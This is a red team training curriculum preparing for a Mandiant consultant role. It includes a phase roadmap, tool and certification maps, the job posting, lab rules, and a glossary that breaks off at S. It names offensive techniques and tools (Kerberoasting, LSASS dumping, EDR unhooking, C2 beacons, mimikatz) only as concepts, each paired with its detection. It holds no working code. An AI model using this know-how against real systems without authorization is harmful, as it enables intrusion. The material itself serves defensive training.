Red Team Engineer — 18-Month Adversary-Emulation Curriculum
Target role: the consultant, client-facing offensive profile in jd.md — Consultant, Red Team, Mandiant / Google Cloud (Dubai · Doha · Riyadh).
Also prepares for:
- Red Team Operator / Adversary-Emulation Engineer
- Offensive Security Engineer / Penetration Tester (senior)
- Offensive Tool Developer (Python / C# / C / C++ / Rust / Nim)
- Purple Team / Detection Engineer (the defender who thinks like the operator)
- Threat-Informed Defense Consultant
Duration: 78 weeks (18 months), 15–20 focused hours per week Starting point: a strong software engineer who can already build, debug, and ship production software Operating boundary: owned systems, purpose-built ranges, CTFs, and engagements with written authorization only. Every lab in this track reasons over synthetic metadata or owned fixtures — there are no live targets, no weaponized payloads, no working evasion artifacts, and no exploitation of third parties. The skill being trained is judgment, methodology, and tool engineering, not the possession of a kit.
0. Read This First — The Authorization Boundary
A red team consultant is a person a company pays to attack it. The entire value of the role is that the attack happens under contract, within scope, and with the defender's organization able to learn from it. That contract — not the technique — is what separates this work from a crime. This curriculum is built so that the boundary is never ambiguous:
- Knowledge vs. action. The difference between a red teamer and a criminal is authorization and intent, not knowledge. We teach the full adversary lifecycle so you can emulate it under contract and so defenders can detect it — and every offensive concept ends in its detection and its break-the-chain control.
- No weaponization in the repo. The labs are analyzers, simulators, planners, graph solvers, and detection mappers over synthetic data. They teach how a technique works, what telemetry it produces, and how a blue team catches it — not how to deploy it against someone. There is no implant, no live C2 beacon, no real EDR bypass, no exploit you could point at a stranger.
- The proof-of-work rule. A phase is complete only when its build runs from a clean checkout, its security properties have automated tests, its limitations are documented, a peer can reproduce it from the README, findings separate observation from inference from impact, and the artifact contains no secrets, no personal data, and no deployable weapon.
If you cannot name the owner, the scope, the stop conditions, and the deconfliction contact for an action, you do not take the action. Phase 00 makes this reflexive before any technique is taught.
1. Executive Summary
Mandiant's red team does adversary emulation: given threat intelligence about a specific actor (say, a financially-motivated intrusion set or a state-aligned group), they reproduce that actor's tradecraft against a consenting client to answer one question — would this organization detect and stop this adversary, and where exactly does it fail? The deliverable is not "we got domain admin." It is a narrative of the kill chain, mapped to MITRE ATT&CK, with every detection opportunity the blue team missed, and a prioritized plan to close the gaps.
That is a different job from a vulnerability scan or a one-bug bug-bounty. It demands four braided abilities:
- Operate like the adversary — plan and run a full engagement lifecycle (recon → initial access → execution → persistence → privilege escalation → lateral movement → collection → C2 → exfiltration → impact) with OPSEC discipline and a written rules-of-engagement boundary.
- Engineer the tooling — build offensive and analysis tools in Python, C#, C/C++, Rust, and Nim, understanding OS internals (Windows + Linux), binary formats, and the telemetry every action emits.
- Defeat — and therefore understand — defenses — EDR, AMSI/ETW, network detection, identity controls — at the level where you can predict what a sensor sees and design around or detect it.
- Communicate the risk — write the technical and executive report, run the purple-team replay, and turn the engagement into durable detections the client keeps.
The curriculum moves from the authorization boundary and methodology, through offensive tooling and OS internals, into the enterprise attack surface (network, Windows/AD, payloads, EDR, C2), then cloud and container red teaming, social engineering, reverse engineering, and finally reporting, purple teaming, and staff-level consulting judgment. Every phase produces code, tests, an attack narrative, and the matching detection.
2. Target-Role Mapping
This track is built backward from the Mandiant JD. Every minimum and preferred qualification maps to phases and runnable evidence.
| JD requirement | Where it's built | Evidence produced |
|---|---|---|
| 3+ yrs across network, red team assessments, EDR evasion, cloud, social engineering, scripting, tool development | Phases 01–10 (the spine) | engagement plans, attack-path graphs, telemetry-gap maps, cloud IAM paths, phishing-infra plans, tools |
| OS security across operating systems / Linux | Phases 04 (privesc), 05 (AD), 06 (payloads) | Windows + Linux privilege-escalation analyzers, AD attack-path solver |
| OSCP / OSEP / OSED / OSCE / OSEE / SANS readiness | mapped per phase in §11 | each cert's domains tied to specific labs |
| Payload development, lateral movement, privilege escalation, EDR evasion | Phases 04, 05, 06, 07 | injection→detection catalog, AD path solver, EDR telemetry-gap analyzer |
| Architect security tools in Python, C#, C/C++, Rust, Nim | Phase 02 + every lab | multi-language tool scaffolds with an OPSEC/IOC linter |
| Network protocols, threat-intel analysis, sysadmin, project management, app dev, IR, source-code review, reverse engineering | Phases 01, 03, 09, 11, 12 | emulation-plan builder, pivot planner, source-review taint finder, binary triage |
| Knowledge of OS internals | Phases 04–07 | token/ACL analyzer, AMSI/ETW visibility mapper |
| Client-facing consulting (Dubai/Doha/Riyadh) | Phase 12 + interview-prep | report linter, purple-team scorer, executive-briefing drills |
Certifications are checkpoints, not substitutes for evidence. For this JD, the highest-signal path is OSCP → CRTO (or OSEP) after the matching labs. Never postpone the hands-on build to collect badges.
3. Skill Matrix
Score each capability quarterly: 0 unfamiliar, 1 explain, 2 perform with guidance,
3 perform independently, 4 design/review/teach.
| Capability | Month 4 | Month 9 | Month 14 | Month 18 |
|---|---|---|---|---|
| Authorization, ROE, OPSEC, deconfliction | 3 | 4 | 4 | 4 |
| Adversary emulation & ATT&CK fluency | 2 | 3 | 4 | 4 |
| Offensive tool dev (Py/C#/C/C++/Rust/Nim) | 2 | 3 | 3 | 4 |
| Network attacks, pivoting, tunneling | 2 | 3 | 4 | 4 |
| Windows + Linux internals & privilege escalation | 1 | 3 | 4 | 4 |
| Active Directory & identity attacks | 1 | 3 | 4 | 4 |
| Payload development & execution (concepts + detection) | 1 | 2 | 3 | 4 |
| EDR internals, evasion theory & detection engineering | 0 | 2 | 3 | 4 |
| C2 infrastructure & traffic OPSEC | 0 | 2 | 3 | 4 |
| Cloud & container red teaming | 1 | 2 | 3 | 4 |
| Social engineering & initial access | 1 | 2 | 3 | 3 |
| Reverse engineering & vuln discovery | 1 | 2 | 3 | 3-4 |
| Reporting, purple teaming, executive communication | 2 | 3 | 4 | 4 |
4. The 18-Month Roadmap
| Months | Phase | Weeks | Focus | Exit artifact |
|---|---|---|---|---|
| 1 | 00 | 4 | authorization, ROE, OPSEC, deconfliction, safe range | engagement operating manual + range diagram |
| 2 | 01 | 6 | red team methodology, ATT&CK, adversary emulation, CTI→plan | adversary-emulation plan + campaign reconstructor |
| 3-4 | 02 | 6 | offensive tooling in Py/C#/C/C++/Rust/Nim, PE/ELF, IOCs | multi-language toolkit + OPSEC linter |
| 5 | 03 | 5 | network attacks, recon, pivoting, tunneling, segmentation | attack-path/pivot planner + segmentation analyzer |
| 6-7 | 04 | 6 | Windows + Linux internals and privilege escalation | cross-platform privesc analyzers |
| 8-9 | 05 | 6 | Active Directory, Kerberos, ADCS, identity attack paths | AD attack-path solver + Kerberos exposure analyzer |
| 10 | 06 | 5 | payload development, process injection, in-memory execution | injection→detection catalog + staging analyzer |
| 11 | 07 | 5 | EDR internals, evasion theory, detection engineering | EDR telemetry-gap analyzer + AMSI/ETW mapper |
| 12 | 08 | 4 | C2 architecture, malleable profiles, redirectors, OPSEC | C2 beacon analyzer + redirector infra planner |
| 13-14 | 09 | 6 | cloud (AWS/Azure/GCP) and container/K8s red teaming | cloud IAM attack-path analyzer + escape evaluator |
| 15 | 10 | 4 | social engineering, phishing, OSINT, initial access | phishing-infra + email-auth evaluator + OSINT analyzer |
| 16 | 11 | 5 | reverse engineering, vuln discovery, source-code review | binary triage analyzer + source-review taint finder |
| 17-18 | 12 | 6 | reporting, purple teaming, consulting, portfolio, interviews | report linter + purple-team coverage scorer |
Quarterly gates
| Gate | Demonstration |
|---|---|
| Q1 | scope an engagement, defend OPSEC choices, reconstruct a campaign to ATT&CK, ship three tested tools |
| Q2 | plan and walk a full kill chain on the range; find privilege-escalation and AD attack paths and the detection for each |
| Q3 | predict what an EDR/AMSI/ETW sensor sees for a given technique; design C2 infra and the traffic profile that detects it |
| Q4 | run a cloud + identity attack path, write the technical and executive report, and replay it as a purple-team exercise that yields durable detections |
5. Curriculum Structure
| Phase | Guide |
|---|---|
| 00 — Engagement Foundations: Authorization, ROE, OPSEC | phase-00-engagement-authorization-opsec/README.md |
| 01 — Red Team Methodology & Adversary Emulation | phase-01-adversary-emulation-methodology/README.md |
| 02 — Offensive Tooling & Multi-Language Development | phase-02-offensive-tooling-development/README.md |
| 03 — Network Attacks, Protocols & Pivoting | phase-03-network-attacks-pivoting/README.md |
| 04 — OS Internals & Privilege Escalation (Windows + Linux) | phase-04-os-internals-privesc/README.md |
| 05 — Active Directory & Identity Attacks | phase-05-active-directory-identity/README.md |
| 06 — Payload Development & Execution | phase-06-payload-development-execution/README.md |
| 07 — EDR Internals, Evasion & Detection Engineering | phase-07-edr-evasion-detection/README.md |
| 08 — Command & Control Infrastructure | phase-08-c2-infrastructure/README.md |
| 09 — Cloud & Container Red Teaming | phase-09-cloud-container-redteam/README.md |
| 10 — Social Engineering & Initial Access | phase-10-social-engineering-initial-access/README.md |
| 11 — Reverse Engineering & Vulnerability Discovery | phase-11-reverse-engineering-vuln-discovery/README.md |
| 12 — Reporting, Purple Teaming & Staff Consulting | phase-12-reporting-purple-team-staff/README.md |
Every phase guide contains objectives, a from-zero WARMUP (the concept deep-dive), a HITCHHIKER'S GUIDE (the operator range walkthrough), exact labs, a capstone, readings, evaluation, common mistakes, interview questions, and portfolio artifacts. Runnable labs follow LAB-STANDARD.md: learner TODOs, complete references, adversarial tests, attack evidence, the matching detection, and a teardown.
6. The Unifying Engagement — "Operation Cedar Lattice"
The twelve phase capstones compose into one continuous red team engagement against a fictional client, Meridian Freight International — a multinational logistics company with a Windows/Active Directory enterprise, a hybrid AWS + Azure cloud, a Kubernetes platform, field-office VPNs, and an SAP- like ERP. Mandiant has been contracted to emulate FIN-LATTICE, a fictional financially-motivated intrusion set, end to end.
Reusing one target across phases is deliberate: it forces you to carry assumptions forward, maintain OPSEC across a long campaign, and produce a single coherent attack narrative — exactly the artifact a real engagement delivers.
Phase 00 → scope & ROE for Operation Cedar Lattice; OPSEC plan; deconfliction with Meridian's SOC
Phase 01 → CTI on FIN-LATTICE → an ATT&CK-mapped emulation plan
Phase 02 → the engagement toolkit (loaders, parsers, profilers) + an IOC/OPSEC linter
Phase 03 → external recon → foothold VPN → internal pivot map of Meridian's network
Phase 04 → local privilege escalation on the first Windows + Linux footholds
Phase 05 → Kerberoast → delegation abuse → path to Meridian's domain admins
Phase 06 → the execution technique (and the telemetry it emits) used to run on the next host
Phase 07 → what Meridian's EDR/AMSI/ETW actually saw — the detection-gap map
Phase 08 → the C2 channel and traffic profile; the beacon the SOC should have caught
Phase 09 → pivot to Meridian's cloud: IAM path to the data store; container breakout
Phase 10 → the phishing pretext and OSINT that opened the door in the first place
Phase 11 → reverse-engineer Meridian's bespoke agent; review its source for the bug
Phase 12 → the report, the executive briefing, the purple-team replay, the durable detections
The public-safe portfolio artifact is the sanitized engagement — narrative, ATT&CK layer, detection-gap matrix, and remediation roadmap — with no real targets, credentials, or weaponization.
7. The Range — Your Authorized Lab
Red team practice requires a fully isolated, owned range. Never practice a technique anywhere you cannot name the owner and the authorization.
Management network (isolated)
Git · note-taking · evidence store · screenshots
|
[pfSense/OPNsense + deny-by-default egress]
/ | \
operator range victim range detection range
Kali/Parrot Win Server + DC Wazuh/Elastic SIEM
C2 lab (owned) Win 10/11 clients Sysmon + ETW + Zeek
tool dev VMs Ubuntu/RHEL hosts Suricata + osquery
\ | /
\------- isolated vSwitch -------/
|
Cloud: separate, budgeted AWS + Azure + GCP sandbox accounts
K8s: local kind/k3d cluster with a private registry
AD: a small purpose-built forest (GOAD / your own) — never a production domain
Hard rules (the same spirit as the security track's Phase 00):
- Never bridge the victim/operator range to home, corporate, or public networks.
- No real credentials, customer data, or personal data in fixtures, screenshots, captures, or commits.
- Default cloud budgets, quotas, alerts, and teardown automation before the first deployment.
- Snapshot before risky work; destroy and rebuild after.
- Hash evidence at collection; record source, time, collector, timezone, and any transformation.
- Treat every binary, capture, and APK as untrusted input.
- Never test a system because it is reachable. Test only with documented ownership or written authorization (a signed engagement, a CTF, a VRP with safe-harbor scope).
For real engagements, the boundary is the Rules of Engagement and the authorization letter — see templates/rules-of-engagement.md.
8. Programming Languages and Why
| Language | Why a red team engineer needs it |
|---|---|
| Python | automation, recon, parsers, glue, analysis tooling, report generation — the daily driver |
| C# | the Windows offensive language (.NET, the CLR, in-process tradecraft, AD tooling) |
| C / C++ | the systems layer — Win32/NT internals, PE/ELF, native loaders, EDR internals, RE |
| Rust | modern, memory-safe offensive and analysis tooling; increasingly the implant language |
| Nim | compact cross-compiled native tooling with a Python-like surface (named explicitly in the JD) |
| PowerShell / Bash | host automation, living-off-the-land, evidence collection on Windows/Linux |
| Go | cross-platform network services, redirectors, fast scanners, cloud tooling |
Quality bar for every tool you build: typed interfaces where supported, tests, dependency locking, a documented OPSEC profile (what telemetry/IOCs it emits), structured logs, no embedded secrets, and an explicit least-privilege execution model. A red team tool you cannot explain the indicators of is a liability, not an asset.
Note on this repo's labs: to keep the boundary clean, the runnable labs are written in Python (stdlib + pytest, offline) and reason over synthetic metadata. The multi-language work (C#/C/C++/ Rust/Nim) lives in the WARMUP/HITCHHIKER concept guides and the "extensions" section of each lab as build specs you implement in your own isolated range — never as weaponized artifacts in the repo.
9. Core Books, Papers, and Primary Sources
Prefer primary sources — the ATT&CK matrix, vendor internals docs, conference talks (Black Hat, DEF CON, x33fcon, SO-CON), and the actual tool source — over tool-list blogs.
Methodology, emulation, and threat intelligence
- The Threat Intelligence Handbook and MITRE ATT&CK + ATT&CK Navigator + the CTID library
- MITRE Adversary Emulation Plans (CTID) and Atomic Red Team
- Mandiant M-Trends reports and the Mandiant Attack Lifecycle
- Red Team Development and Operations — Vest & Tubberville
Windows, AD, and OS internals
- Windows Internals (Russinovich, Solomon, Ionescu) — parts 1 & 2
- The Art of Memory Forensics (the defender's view of what you leave behind)
- SpecterOps AD attack material; the BloodHound docs; Kerberos protocol RFC 4120
- Microsoft's ETW, AMSI, Kernel callbacks, and WDAC documentation
Tooling, payloads, and evasion (theory + detection)
- Windows APT Warfare — Sheng-Hao Ma (PE format, loaders, native internals)
- The PE/COFF, ELF, and Mach-O format specifications
- Elastic Security Labs, Microsoft, and CrowdStrike engineering blogs on EDR internals
- The Sigma specification; Sysmon config (SwiftOnSecurity / Olaf Hartong)
Cloud, container, and network
- Cloud provider IAM, metadata-service, and logging documentation (AWS/Azure/GCP)
- Kubernetes threat model; NSA/CISA Kubernetes hardening; MITRE ATT&CK for Containers
- The TCP/IP Guide; the relevant RFCs (DNS, TLS, HTTP, Kerberos, SMB/NTLM references)
Reporting and consulting
- SANS and Mandiant red team reporting guidance; purple teaming (Scythe, VECTR) material
- The Pyramid of Pain (David Bianco); MITRE D3FEND for the defensive mapping
Each phase guide narrows this list to the exact chapters and docs needed.
10. Tooling Map
| Domain | Tools (examples — the method, not a shopping list) |
|---|---|
| Methodology & emulation | ATT&CK Navigator, CTID emulation plans, Atomic Red Team, VECTR, Scythe |
| Recon & network | nmap, masscan, BloodHound, ligolo-ng/chisel (owned range), Responder (lab), Wireshark/Zeek |
| Windows/AD | Rubeus, Certify/Certipy, PowerView/SharpHound, mimikatz (lab-only), Seatbelt, WinPEAS |
| Linux | LinPEAS, pspy, GTFOBins reference, BCC/eBPF, ss/auditd |
| Payloads & tooling | C#/C/C++/Rust/Nim toolchains, Donut/sRDI concepts, PE-bear, Detect-It-Easy |
| EDR & detection | Sysmon, ETW (logman/SilkETW), AMSI test harness, Elastic/Wazuh, Sigma, Hayabusa |
| C2 | Cobalt Strike / Mythic / Sliver / Havoc (owned range only), malleable-profile linters, redirectors |
| Cloud & container | ScoutSuite, Pacu, Prowler, kube-hunter, Peirates, cloud CLIs, Trivy, OPA/Conftest |
| RE & vuln | Ghidra, x64dbg/WinDbg, IDA, dnSpy/ILSpy, libFuzzer/AFL++, CodeQL/Semgrep |
| Reporting | Markdown/LaTeX pipelines, ATT&CK Navigator layers, VECTR purple-team tracking |
Tools never define the method. Every finding still states scope, assumptions, evidence, false-positive handling, demonstrated vs. plausible impact, the detection opportunity, and the remediation.
11. Certification Map
Certifications are checkpoints aligned to phases — earn them after the matching labs, never instead of them.
| Certification | Aligns to phases | What it proves |
|---|---|---|
| OSCP (PEN-200) | 03, 04, 05 | foundational hands-on exploitation, privesc, pivoting |
| CRTO / CRTO II (Zero-Point) | 05, 06, 07, 08 | red team ops: AD, C2, evasion, the engagement lifecycle |
| OSEP (PEN-300) | 06, 07 | evasion and advanced AD/lateral movement |
| OSED (EXP-301) | 11 | Windows exploit development and shellcoding |
| OSCE³ / OSEE | 11 | advanced exploitation and research |
| GCP cloud / CARTP / CRTC | 09 | Azure/GCP/cloud red teaming |
| GIAC GPEN / GXPN / GCPN | 03–09 | SANS-track validation across network, exploitation, cloud |
The JD lists OSCE, OSEP, OSEE, OSCP, CCSAS, CCT INF, and SANS courses as preferred. The highest-signal sequence for this role: OSCP → CRTO → OSEP.
12. Capstone Portfolio
The portfolio is the sanitized Operation Cedar Lattice engagement plus the per-phase tools. Publish fewer, stronger artifacts — 6–8 flagship pieces, never 100 screenshots.
red-team-portfolio/
├── README.md
├── 00-operating-rules/ # ROE, OPSEC plan, deconfliction, range diagram (sanitized)
├── 01-emulation-plans/ # FIN-LATTICE ATT&CK plan + Navigator layer
├── 02-tooling/ # multi-language tools + the OPSEC/IOC linter
├── 03-network-and-pivoting/ # attack-path graphs, segmentation analysis
├── 04-05-windows-ad/ # privesc + AD attack-path findings
├── 06-07-payloads-edr/ # injection→detection catalog, telemetry-gap maps
├── 08-c2/ # C2 traffic profiles + the detections for them
├── 09-cloud/ # IAM attack paths, container-escape posture
├── 10-social-and-osint/ # phishing infra + email-auth + OSINT exposure (sanitized)
├── 11-re-and-review/ # binary triage + source-review findings
├── 12-report-and-purple/ # the engagement report, executive brief, purple-team replay
└── evidence-private/ # never publish raw evidence
Every public project needs: a one-sentence problem and explicit authorization boundary; the attack narrative and its detection; reproducible setup and teardown; tests and expected output; known limitations; sanitized evidence; a 3-minute demo script; and one truthful resume bullet with numbers you can defend.
13. Assessment Rubric
Score every capstone 0–4 in each category. A phase passes at 24/32, with no zero and no score below 2 in safety or the detection pairing.
| Category | 0 | 2 | 4 |
|---|---|---|---|
| Scope & safety | absent/unsafe | scope stated | authorization, stop conditions, OPSEC, teardown fully enforced |
| Adversary understanding | cargo-culted | technique works | technique mapped to ATT&CK with preconditions and variants |
| Engineering quality | does not run | core path works | typed/tested/reproducible/maintainable tool |
| Detection pairing | none | mentions a log | the exact telemetry + a Sigma-style detection that fires |
| Impact analysis | unsupported claims | valid finding | demonstrated vs. plausible impact, business framing |
| OPSEC reasoning | ignored | indicators noted | predicts what each sensor sees and the OPSEC tradeoff |
| Communication | unclear | usable technical note | technical + executive versions that drive a decision |
| Portfolio quality | raw notes | sanitized artifact | polished, reproducible, candid, interview-ready |
Staff/consultant distinction
A staff-level submission explains why the client should prioritize this finding, what the fix costs, how the detection will be maintained, and how success is measured. Getting domain admin is table stakes; turning it into a defensible risk decision and a durable detection is the job.
14. Final Job-Readiness Checklist
You are ready to apply when you can provide evidence for all of the following:
- I can write Rules of Engagement and explain OPSEC, deconfliction, and stop conditions.
- I can turn threat intelligence on a named actor into an ATT&CK-mapped emulation plan.
- I can build offensive and analysis tooling in Python, and read/architect C#, C/C++, Rust, and Nim.
- I can plan a network attack path, pivot, and explain the segmentation that stops it.
- I can find privilege-escalation paths on Windows and Linux and name the detection for each.
- I can walk an Active Directory attack from foothold to domain admin and map every detection gap.
- I can explain process-injection and execution techniques and the telemetry each one emits.
- I can predict what an EDR, AMSI, and ETW sensor sees, and turn evasion knowledge into detections.
- I can design C2 infrastructure and describe the traffic profile that catches it.
- I can attack a cloud identity graph and a container platform, and write the IAM remediation.
- I can build a phishing pretext and OSINT exposure analysis — and the email-auth control that blocks it.
- I can reverse-engineer a binary and review source for the bug, then write the disclosure.
- I can write a red team report, brief an executive, and replay the engagement as a purple-team exercise.
- I have 6–8 sanitized flagship artifacts and can defend every metric on my resume.
- I have STAR stories showing judgment, OPSEC discipline, client trust, a blown technique recovered, and mentoring.
Completing the calendar is not the finish line. Passing this evidence checklist is.
Consultant, Red Team, Google Cloud, Mandiant Consulting corporate_fare Google place Dubai - United Arab Emirates ; Doha, Qatar ; +1 more info_outline X Note: By applying to this position you will have an opportunity to share your preferred working location from the following: Dubai - United Arab Emirates; Doha, Qatar; Riyadh Saudi Arabia.
Minimum qualifications: Bachelor's degree in Computer Science, Information Systems, Cybersecurity, a related technical field or equivalent practical experience. 3 years of experience in three or more of the following security areas: network, red team assessments, EDR evasion, cloud, social engineering, scripting, tool development. Experience with operating system security across operating systems or Linux.
Preferred qualifications: Certifications related to offensive security including OSCE, OSEP, OSEE, OSCP, CCSAS, CCT INF or relevant SANS courses. Experience in payload development, lateral movement, privilege escalation and EDR evasion. Experience in four or more of the following: network protocols, threat intelligence analysis, system and network administration, project management, developing applications, technical incident response processes, source code review, reverse engineering. Experience in architecting security tools using programming languages (e.g., Python, C#, C/C++, Rust, Nim or similar). Knowledge of operating system internals.
Red Team Lab Engineering Standard
Every lab in this track is an offensive-engineering exercise that teaches a technique and its detection, not a command transcript and not a weapon. The boundary from the overview is enforced at the lab level by three rules:
- Synthetic or owned inputs only. Labs reason over synthetic metadata (event logs, host facts, IAM policies, network graphs, captures) or fixtures you own. No live targets.
- No weaponization. A lab may model, analyze, plan, or detect a technique. It must not be a deployable implant, a working EDR bypass, a real C2 beacon, or an exploit pointed at third parties.
- Every offensive lab ships its detection. If a lab demonstrates an attacker behavior, it also produces the telemetry that behavior emits and a detection (Sigma-style logic or a test) that fires on it. This is what makes the offensive knowledge a defensible, hireable asset.
Required Files
| File | Contract |
|---|---|
README.md | the problem, what you build, the ATT&CK mapping, attack cases the tests cover, run commands, hardening/detection, extensions, interview/resume, limitations |
lab.py (or language equivalent) | learner implementation with focused TODOs; never a blank file |
solution.py (or equivalent) | complete reference with safe defaults, deterministic output, and an explicit limitations note in the docstring |
test_lab.py (or native tests) | positive, negative, adversarial, boundary, and determinism tests, runnable against either module |
| dependency/build manifest | requirements.txt (usually empty/stdlib), Cargo.toml, .csproj, or Makefile; minimal and pinned where practical |
The runnable core is Python (stdlib + pytest), offline, deterministic. Multi-language work (C#/C/C++/Rust/Nim) appears as build specs in the README "extensions" section that the learner implements in their own isolated range.
The two guides per phase
WARMUP.md — explain the technique from zero
A self-contained, zero-to-principal guide. It must contain, in order:
- A table of contents with working anchor links (kept updated).
- One chapter per concept, each covering: zero background → what it is → why it exists → how it works under the hood (mechanism, with diagrams/tables/small code) → what telemetry it emits → how a defender detects it → production/engagement significance → common misconceptions.
- A Lab Walkthrough section: the order to tackle the TODOs and why.
- Success criteria tied to understanding, not just "tests pass."
- Common mistakes / OPSEC failures.
- Interview Q&A with full, principal-level answers.
- A References section (primary sources: ATT&CK, RFCs, vendor internals docs, talks, books).
mdBook-compatible: MathJax for any math, standard Markdown only, no bare <...> angle brackets in
prose (wrap in backticks).
HITCHHIKERS-GUIDE.md — operate it on the range
The operator's range walkthrough: a purpose-built authorized range, the build/observe workflow, safe attack fixtures with expected observations, the hardening/detection tied to the mechanism it changes, runtime verification that proves effective state (not intended config), the telemetry/detection/ triage path, teardown and cost controls, the evidence packet, and the common false claims.
Required Learning Loop
- Authorize — owner, scope, methods, data, time, rates, stop conditions, deconfliction.
- Plan — map the intended technique to ATT&CK; state the OPSEC profile (what it will emit).
- Emulate safely — run the seeded case only against the owned fixture / synthetic data.
- Observe — collect the log, packet, graph, policy decision, or evidence manifest.
- Explain — separate precondition, root cause, demonstrated impact, and plausible impact.
- Detect — produce the telemetry the behavior emits and a detection that fires on it.
- Harden — change design/config/identity, not only the triggering input.
- Regress — prove the attack path is closed and legitimate behavior still works.
- Communicate — write the developer/defender remediation and the executive decision summary.
Test Taxonomy
Every flagship lab includes: happy-path; malformed/oversized input; deny-by-default behavior; cross-scope/cross-tenant/privilege-negative cases where relevant; replay/duplicate/idempotency where relevant; a detection-fires test for the seeded behavior; regression for every seeded weakness; and deterministic output.
Safety Rules
- Use only included fixtures, owned local services, CTFs, or explicitly authorized engagements.
- Do not target public hosts, neighboring networks, real users, or third-party infrastructure.
- Do not commit working implants, real C2, credential-theft tooling, or live exploits.
- Stop at minimum proof; preserve only the data needed to explain and remediate.
- Any range exercise involving vulnerable services, AD forests, cloud accounts, or malware-like samples must pass templates/lab-acceptance-checklist.md.
Definition of Done
A lab is complete only when the reference suite passes, the learner implementation passes after the TODOs are filled in, the setup works from a clean checkout, the detection pairing is present, and the README states the limitations honestly.
Red Team Glossary — Acronyms and Terms Across the Track
A one-line definition for every acronym and term used across the curriculum, with the phase where it's covered in depth (Pnn). Use it as quick recall; follow the pointer for the from-zero treatment. Alphabetical. Everything here is for authorized engagements only.
A
- AD — Active Directory: Microsoft's enterprise directory and authentication backbone; the identity perimeter of most enterprises. P05.
- ADCS — Active Directory Certificate Services: the AD PKI; misconfigured templates (ESC1–ESC16) yield domain compromise. P05.
- AMSI — Antimalware Scan Interface: a Windows API letting AV/EDR inspect de-obfuscated script/.NET content in memory at runtime. P06, P07.
- AS-REP Roasting — extracting a crackable hash from accounts with Kerberos pre-auth disabled. P05.
- ATT&CK — MITRE's tactic→technique matrix of observed adversary behavior; the lingua franca of emulation and reporting. P01.
- Adversary emulation — reproducing a specific named actor's TTPs (from CTI) against a consenting client. The Mandiant model. P01.
- Assumed breach — an engagement that starts from an existing foothold to test detection/response rather than perimeter. P00, P01.
B
- Beacon — a C2 implant that periodically "calls home" for tasking; its rhythm (interval + jitter) is a key detection signal. P08.
- BloodHound — graph tool that maps AD attack paths (who can reach Domain Admin and how). P05.
- BOF — Beacon Object File: small compiled C run in-process by a C2 to reduce footprint vs. spawning a process. P06, P08.
C
- C2 / C&C — Command and Control: the channel a compromised host uses for tasking and exfiltration. P08.
- CKC — Cyber Kill Chain (Lockheed Martin): the linear campaign-phase lens. P01.
- CLR — Common Language Runtime: the .NET virtual machine; in-process .NET execution is core Windows tradecraft. P06.
- Cobalt Strike — a commercial C2 framework; the de-facto red team standard (and the most-emulated by real adversaries). P08.
- CTI — Cyber Threat Intelligence: the actor knowledge that drives an emulation plan. P01.
D
- DACL — Discretionary Access Control List: the per-object permission list on Windows; misconfigurations enable privesc and AD attacks. P04, P05.
- Defense evasion — the ATT&CK tactic of avoiding detection; in this track always paired with the detection it should trigger. P07.
- Deconfliction — the agreed process for the client SOC to confirm "is this activity the red team?" during an engagement. P00.
- Diamond Model — the adversary/capability/infrastructure/victim lens; the basis of pivoting and attribution. P01.
- DLL search-order / sideloading hijack — abusing how Windows resolves DLLs to load attacker code via a trusted process. P04, P06.
- Domain fronting — hiding C2 destination behind a trusted CDN SNI (largely mitigated by providers). P08.
E
- EDR — Endpoint Detection and Response: kernel + user-mode telemetry and response agent; the primary obstacle to modern tradecraft. P07.
- ETW — Event Tracing for Windows: the high-volume telemetry bus; ETW-TI (Threat-Intelligence provider) feeds EDR. P06, P07.
- Egress — outbound network traffic; egress filtering/allow-listing is a core C2 control. P03, P08.
- Emulation plan — the document mapping a chosen actor's TTPs to procedures, success criteria, and stop conditions. P01.
H
- Hooking (user-mode) — EDR patching
ntdll/Win32 stubs to observe API calls; "unhooking" restores the original bytes. P07.
I
- IAM — Identity and Access Management: the cloud identity layer; the cloud's real perimeter. P09.
- IMDS — Instance Metadata Service: the cloud endpoint that hands credentials to a VM; SSRF→IMDS is a classic cloud foothold. P09.
- Initial access — the ATT&CK tactic of getting the first foothold (phishing, exploit, valid accounts). P10.
- IOC — Indicator of Compromise: a host/network artifact (hash, domain, pipe name) that signals an intrusion; the weak base of the Pyramid of Pain. P02, P12.
- Injection (process) — running code in another process's address space (e.g., CreateRemoteThread, APC, mapping) to blend in. P06.
J
- JA3 / JA4 — fingerprints of a TLS client hello; detect C2 by the shape of its handshake even when encrypted. P08.
- Jitter — randomization of a beacon's call-home interval to defeat fixed-period detection. P08.
K
- Kerberoasting — requesting service tickets (4769) for accounts with SPNs and cracking them offline. P05.
- Kerberos — the AD authentication protocol (tickets, TGT/TGS); the language of identity attacks. P05.
- Kill chain — see CKC; the campaign-phase lens. P01.
L
- Lateral movement — moving from one host to another inside the perimeter (SMB/WMI/WinRM/RDP/PsExec). P03, P05.
- LOLBin / LOLBAS — Living-Off-the-Land Binary: a trusted built-in (certutil, rundll32, wmic) abused to reduce footprint. P04, P06.
- LSASS — Local Security Authority Subsystem: the Windows process holding credential material; dumping it is a top detection target. P05, P06.
M
- Malleable C2 profile — a config that reshapes a beacon's traffic/indicators to emulate a chosen actor or blend with normal traffic. P08.
- Mandiant Attack Lifecycle — Mandiant's campaign model (initial compromise → establish foothold → escalate → recon → move laterally → maintain → complete mission). P01.
- Mimikatz — the canonical credential-extraction tool (lab-only); its techniques are heavily detected. P05.
N
- NTLM — the legacy Windows challenge-response auth; relay and pass-the-hash attacks target it. P05.
- Nim — a compiled, Python-like language used for compact cross-platform offensive tooling (named in the JD). P02.
O
- OPSEC — Operational Security: minimizing the indicators your actions emit, and reasoning about what each sensor sees. P00, throughout.
- OSINT — Open-Source Intelligence: public-data reconnaissance of people, infra, and exposure. P10.
- OSCP / OSEP / OSED / OSCE / OSEE — Offensive Security certifications mapped to phases in the README §11.
P
- Pass-the-Hash / Pass-the-Ticket — authenticating with a stolen NTLM hash / Kerberos ticket instead of a password. P05.
- PE / COFF — Portable Executable: the Windows binary format; understanding it underlies loaders, injection, and RE. P02, P06, P11.
- Pivoting — routing traffic through a compromised host to reach otherwise-unreachable networks. P03.
- Purple team — red and blue working together to validate and build detections from emulated attacks. P12.
- Pyramid of Pain — Bianco's model ranking IOCs by how much changing them costs the adversary (hashes easy → TTPs hard). P01, P12.
R
- Redirector — infrastructure that proxies C2 traffic so the real team server is hidden and resilient. P08.
- ROE — Rules of Engagement: the scope/method/time/stop-condition contract that authorizes the work. P00.
- RBCD — Resource-Based Constrained Delegation: a Kerberos delegation primitive abused for privilege escalation. P05.
S
